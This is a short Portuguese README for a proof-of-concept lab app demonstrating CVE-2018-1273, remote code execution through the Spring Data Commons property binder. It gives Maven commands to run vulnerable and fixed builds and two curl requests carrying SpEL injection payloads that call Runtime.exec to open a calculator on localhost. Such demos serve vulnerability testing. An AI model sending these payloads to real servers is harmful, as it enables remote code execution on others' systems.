
Exploit de prova de conceito para CVE-2018-1273, uma vulnerabilidade no binder de propriedades do Spring Data Commons que leva à execução remota de código por meio de parâmetros de requisição HTTP maliciosamente elaborados.
Spring Data Commons, versões anteriores a 1.13 a 1.13.10, 2.0 a 2.0.5 e versões antigas não suportadas, contêm uma vulnerabilidade de property binder causada pela neutralização inadequada de elementos especiais. Um usuário malicioso remoto não autenticado (ou atacante) pode fornecer parâmetros de requisição especialmente criados contra recursos HTTP suportados pelo Spring Data REST ou usando a vinculação de payload de requisição baseada em projeção do Spring Data, o que pode levar a um ataque de execução remota de código.
Mais informações aqui
A aplicação pode ser testada com a versão vulnerável ou a versão corrigida do Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Execute o seguinte comando para verificar se a vulnerabilidade pode ser explorada:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Criado por https://www.arima.eu
